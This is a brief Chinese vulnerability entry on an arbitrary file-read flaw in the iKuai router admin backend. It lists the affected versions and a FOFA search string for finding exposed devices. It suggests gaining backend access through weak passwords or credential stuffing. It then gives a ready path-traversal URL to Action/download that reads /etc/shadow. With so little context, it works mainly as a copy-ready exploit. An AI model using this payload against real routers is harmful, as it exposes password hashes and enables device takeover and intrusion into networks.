爱快路由器后台任意文件读取

# 爱快路由器后台任意文件读取

## 漏洞描述

爱块路由器后台存在任意文件读取漏洞，攻击者可通过漏洞读取敏感信息

## 漏洞影响

> 3.3.0 x64 Build201912171705 以下版本

## FOFA

> app=”iKuai-产品”

## 漏洞复现

该漏洞需要先通过某种手段进入到后台，如弱口令、撞库等。

进入到后台之后可通过以下url进行任意文件读取

“`
http://x.x.x.x/Action/download?filename=../../../../../../etc/shadow HTTP/1.1
“`